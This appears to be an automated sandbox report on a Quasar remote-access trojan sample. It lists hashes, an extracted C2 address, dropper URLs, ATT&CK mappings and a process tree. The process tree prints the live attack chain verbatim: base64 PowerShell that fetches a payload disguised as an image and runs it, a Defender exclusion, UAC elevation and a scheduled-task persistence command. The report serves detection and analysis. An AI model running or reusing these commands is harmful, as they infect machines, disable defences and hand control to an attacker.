quasar | 4d5a2a643cdab50f0105e110a8187cd812a7ebbc7d903b8a8029cd3508094f32

Reason

Machine shutdown

General

Target

t.cmd
Size

1KB
MD5

c3a80dbc5b98aac01cc124b59ec52d7e
SHA1

eae4d2a89be841042839e8bfeca7480a2ba327e4
SHA256

4d5a2a643cdab50f0105e110a8187cd812a7ebbc7d903b8a8029cd3508094f32
SHA512

addf559ed04d9cbaccdc25d87940c0c0af41e183087c9c956bab438b7cf755a7481aa88d534792c265ace9491302ae81343de77d4c93101a232d44d47500d5a9

Score

10^/10

quasar new execution spyware trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://i.imghippo.com/files/Zf9637kKg.jpg

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://i.imghippo.com/files/tBJo2822HAE.jpg

Extracted

Family

quasar

Version

1.4.1

Botnet

new

C2

194.26.192.167:2768

Mutex

67b58d78-e769-403e-bf6e-e83f8f31b2f5

Attributes

encryption_key
BE2B0B270E4DB19CAA5C42E9D2EBF64645A2D055
install_name
OneDrive.exe
log_directory
Logs
reconnect_delay
3000
startup_key
OneDrive
subdirectory
OneDrive

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar
Quasar family
quasar

Quasar payload 2 IoCs

resource	yara_rule
behavioral2/files/0x0007000000023c9a-109.dat	family_quasar
behavioral2/memory/4292-117-0x0000000000930000-0x0000000000C54000-memory.dmp	family_quasar

Blocklisted process makes network request 2 IoCs

flow	pid	Process
6	4116	powershell.exe
16	2376	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2384	powershell.exe
4408	powershell.exe
1364	powershell.exe
2224	powershell.exe
4992	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	OneDrive.exe

Executes dropped EXE 1 IoCs

pid	Process
4292	OneDrive.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies data under HKEY_USERS 15 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4288567808"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365271"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365271"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent	LogonUI.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = a6d8ff0076b9ed00429ce3000078d700005a9e000042750000264200f7630c00	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292311040"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292311040"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "226"	LogonUI.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings	powershell.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1760	schtasks.exe

Suspicious behavior: EnumeratesProcesses 16 IoCs

pid	Process
4408	powershell.exe
4408	powershell.exe
2224	powershell.exe
2224	powershell.exe
1364	powershell.exe
1364	powershell.exe
2976	powershell.exe
2976	powershell.exe
4992	powershell.exe
4992	powershell.exe
4116	powershell.exe
4116	powershell.exe
2384	powershell.exe
2384	powershell.exe
2376	powershell.exe
2376	powershell.exe

Suspicious use of AdjustPrivilegeToken 11 IoCs

description	pid	Process
Token: SeDebugPrivilege	4408	powershell.exe
Token: SeDebugPrivilege	2224	powershell.exe
Token: SeDebugPrivilege	1364	powershell.exe
Token: SeDebugPrivilege	2976	powershell.exe
Token: SeDebugPrivilege	4992	powershell.exe
Token: SeDebugPrivilege	4116	powershell.exe
Token: SeDebugPrivilege	2384	powershell.exe
Token: SeDebugPrivilege	2376	powershell.exe
Token: SeDebugPrivilege	4292	OneDrive.exe
Token: SeShutdownPrivilege	1952	shutdown.exe
Token: SeRemoteShutdownPrivilege	1952	shutdown.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
4292	OneDrive.exe
1344	LogonUI.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 5032 wrote to memory of 4408	5032	cmd.exe	83
PID 5032 wrote to memory of 4408	5032	cmd.exe	83
PID 5032 wrote to memory of 2224	5032	cmd.exe	84
PID 5032 wrote to memory of 2224	5032	cmd.exe	84
PID 2224 wrote to memory of 5092	2224	powershell.exe	85
PID 2224 wrote to memory of 5092	2224	powershell.exe	85
PID 5092 wrote to memory of 1364	5092	cmd.exe	87
PID 5092 wrote to memory of 1364	5092	cmd.exe	87
PID 5092 wrote to memory of 2976	5092	cmd.exe	88
PID 5092 wrote to memory of 2976	5092	cmd.exe	88
PID 2976 wrote to memory of 4992	2976	powershell.exe	89
PID 2976 wrote to memory of 4992	2976	powershell.exe	89
PID 5092 wrote to memory of 4116	5092	cmd.exe	90
PID 5092 wrote to memory of 4116	5092	cmd.exe	90
PID 4116 wrote to memory of 724	4116	powershell.exe	91
PID 4116 wrote to memory of 724	4116	powershell.exe	91
PID 724 wrote to memory of 2384	724	cmd.exe	93
PID 724 wrote to memory of 2384	724	cmd.exe	93
PID 724 wrote to memory of 2376	724	cmd.exe	94
PID 724 wrote to memory of 2376	724	cmd.exe	94
PID 2376 wrote to memory of 4292	2376	powershell.exe	101
PID 2376 wrote to memory of 4292	2376	powershell.exe	101
PID 4292 wrote to memory of 1760	4292	OneDrive.exe	103
PID 4292 wrote to memory of 1760	4292	OneDrive.exe	103
PID 4292 wrote to memory of 1952	4292	OneDrive.exe	106
PID 4292 wrote to memory of 1952	4292	OneDrive.exe	106

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\t.cmd"
1⤵
- Suspicious use of WriteProcessMemory
PID:5032
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -w h -command ""
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4408
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Start-Process -Verb RunAs -FilePath 'C:\Users\Admin\AppData\Local\Temp\t.cmd' -ArgumentList 'am_admin'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2224
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\t.cmd" am_admin
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5092
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -w h -command ""
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1364
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -enc cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAALQBjAG8AbQBtAGEAbgBkACAAIgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAIgBDADoAXAANAAoA
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2976
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "Add-MpPreference -ExclusionPath " C:\
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4992
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -enc JAB1AHIAbAA9ACIAaAB0AHQAcABzADoALwAvAGkALgBpAG0AZwBoAGkAcABwAG8ALgBjAG8AbQAvAGYAaQBsAGUAcwAvAFoAZgA5ADYAMwA3AGsASwBnAC4AagBwAGcAIgA7ACQAcABhAHQAaAA9ACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXABPAG4AZQBEAHIAaQB2AGUAIgA7AG0AawBkAGkAcgAgACQAcABhAHQAaAAgAC0ARgBvAHIAYwBlACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA7AGkAdwByACAAJAB1AHIAbAAgAC0ATwB1AHQARgBpAGwAZQAgACIAJABwAGEAdABoAFwAYgB1AGQAZAB5AC4AagBwAGcAIgA7AFsASQBPAC4ARgBpAGwAZQBdADoAOgBXAHIAaQB0AGUAQQBsAGwAVABlAHgAdAAoACIAJABwAGEAdABoAFwATwBuAGUARAByAGkAdgBlAC4AYwBtAGQAIgAsAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACgAZwBjACAAIgAkAHAAYQB0AGgAXABiAHUAZABkAHkALgBqAHAAZwAiACAALQBSAGEAdwApACkAKQApADsAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAJABwAGEAdABoAFwATwBuAGUARAByAGkAdgBlAC4AYwBtAGQAIgA=
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4116
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\OneDrive\OneDrive.cmd" "
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:724
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -w h -command ""
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2384
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -enc JAB1AHIAbAA9ACIAaAB0AHQAcABzADoALwAvAGkALgBpAG0AZwBoAGkAcABwAG8ALgBjAG8AbQAvAGYAaQBsAGUAcwAvAHQAQgBKAG8AMgA4ADIAMgBIAEEARQAuAGoAcABnACIAOwAkAHAAYQB0AGgAPQAiACQAZQBuAHYAOgBBAFAAUABEAEEAVABBAFwATwBuAGUARAByAGkAdgBlACIAOwBtAGsAZABpAHIAIAAkAHAAYQB0AGgAIAAtAEYAbwByAGMAZQAgAHwAIABPAHUAdAAtAE4AdQBsAGwAOwAkAGIANgA0AEYAaQBsAGUAPQAiACQAcABhAHQAaABcAGYAaQBsAGUALgBqAHAAZwAiADsAJABlAHgAZQBGAGkAbABlAD0AIgAkAHAAYQB0AGgAXABPAG4AZQBEAHIAaQB2AGUALgBlAHgAZQAiADsAaQB3AHIAIAAkAHUAcgBsACAALQBPAHUAdABGAGkAbABlACAAJABiADYANABGAGkAbABlADsAWwBJAE8ALgBGAGkAbABlAF0AOgA6AFcAcgBpAHQAZQBBAGwAbABCAHkAdABlAHMAKAAkAGUAeABlAEYAaQBsAGUALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACgAZwBjACAAJABiADYANABGAGkAbABlACAALQBSAGEAdwApACkAKQA7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAkAGUAeABlAEYAaQBsAGUA
        6⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2376
        
        C:\Users\Admin\AppData\Roaming\OneDrive\OneDrive.exe
        
        "C:\Users\Admin\AppData\Roaming\OneDrive\OneDrive.exe"
        7⤵
        Checks computer location settings
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:4292
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "OneDrive" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\OneDrive\OneDrive.exe" /rl HIGHEST /f
        8⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:1760
        
        C:\Windows\System32\shutdown.exe
        
        "C:\Windows\System32\shutdown.exe" /s /t 0
        8⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1952

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x4 /state0:0xa39b1055 /state1:0x41c64e6d
1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:1344

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Persistence

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Privilege Escalation

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
440cb38dbee06645cc8b74d51f6e5f71

SHA1
d7e61da91dc4502e9ae83281b88c1e48584edb7c

SHA256
8ef7a682dfd99ff5b7e9de0e1be43f0016d68695a43c33c028af2635cc15ecfe

SHA512
3aab19578535e6ba0f6beb5690c87d970292100704209d2dcebddcdd46c6bead27588ef5d98729bfd50606a54cc1edf608b3d15bef42c13b9982aaaf15de7fd6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
d8b9a260789a22d72263ef3bb119108c

SHA1
376a9bd48726f422679f2cd65003442c0b6f6dd5

SHA256
d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc

SHA512
550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
446dd1cf97eaba21cf14d03aebc79f27

SHA1
36e4cc7367e0c7b40f4a8ace272941ea46373799

SHA256
a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf

SHA512
a6d754709f30b122112ae30e5ab22486393c5021d33da4d1304c061863d2e1e79e8aeb029cae61261bb77d0e7becd53a7b0106d6ea4368b4c302464e3d941cf7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
b08c623a4c3d593e0197312ee60fd80b

SHA1
d758f831d82d40e2cf2b5303928840fef63c6e08

SHA256
9cec0c20b0888233bb5e426f9b85d4653f8a287e42018b65dc95eb5647193c37

SHA512
0a1b537b268a751eaa5873677faeefb8dad2832112cc2f5d84f24bd9b505ae51da7754acf50843ca3d70b3c33a42590e18a612558ca2f564a3dc881bf2556500

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_clj4hkdz.jg2.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\OneDrive\OneDrive.cmd

Filesize
849B

MD5
1c09b90d8829072db618c7e3e04d14d0

SHA1
b9fc6564663efaffd29579d08615145da2208c32

SHA256
70dc0b9e8bd165ad5b9b41e4876175aea1b8e86e6c548d154730726b03dbebc3

SHA512
e9a4fef97fc17665ade02c8259dfc858ea63a0fd5961c46a85c10f9956a5fa2abcff33050db32a040bb9ffbf2e79d3238db244f4714f6ffa1a2dff63e4b0a428

Download Submit
C:\Users\Admin\AppData\Roaming\OneDrive\OneDrive.exe

Filesize
3.1MB

MD5
12bcc06c6099dfa56cce7a20fda7c8ab

SHA1
3b5e6d75d161b21e5a89602c509832d0a416eaf2

SHA256
cff0e57630d92a40cb239230dfb9d293b2406f91c8374fda5d4ff70b6c8310f6

SHA512
2d1ce86d47ba9ea2ebbcc3db2249c5374d90873ac5117464b50acc554b3936f910ab1f1f5745b7652a892e3090c12c52d56feaec4bd835264d033ed0a1a8ee89

Download Submit
memory/2224-29-0x00007FF8CE2F0000-0x00007FF8CEDB1000-memory.dmp

Filesize
10.8MB

Download
memory/2224-31-0x00007FF8CE2F0000-0x00007FF8CEDB1000-memory.dmp

Filesize
10.8MB

Download
memory/2224-28-0x00007FF8CE2F0000-0x00007FF8CEDB1000-memory.dmp

Filesize
10.8MB

Download
memory/2224-26-0x00007FF8CE2F0000-0x00007FF8CEDB1000-memory.dmp

Filesize
10.8MB

Download
memory/4292-118-0x0000000002EE0000-0x0000000002F30000-memory.dmp

Filesize
320KB

Download
memory/4292-117-0x0000000000930000-0x0000000000C54000-memory.dmp

Filesize
3.1MB

Download
memory/4292-119-0x000000001D9F0000-0x000000001DAA2000-memory.dmp

Filesize
712KB

Download
memory/4292-122-0x000000001B9B0000-0x000000001B9C2000-memory.dmp

Filesize
72KB

Download
memory/4292-123-0x000000001BA10000-0x000000001BA4C000-memory.dmp

Filesize
240KB

Download
memory/4408-15-0x00007FF8CE2F0000-0x00007FF8CEDB1000-memory.dmp

Filesize
10.8MB

Download
memory/4408-14-0x00007FF8CE2F0000-0x00007FF8CEDB1000-memory.dmp

Filesize
10.8MB

Download
memory/4408-11-0x00007FF8CE2F0000-0x00007FF8CEDB1000-memory.dmp

Filesize
10.8MB

Download
memory/4408-10-0x00000212FFEB0000-0x00000212FFED2000-memory.dmp

Filesize
136KB

Download
memory/4408-0-0x00007FF8CE2F3000-0x00007FF8CE2F5000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

Errors

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads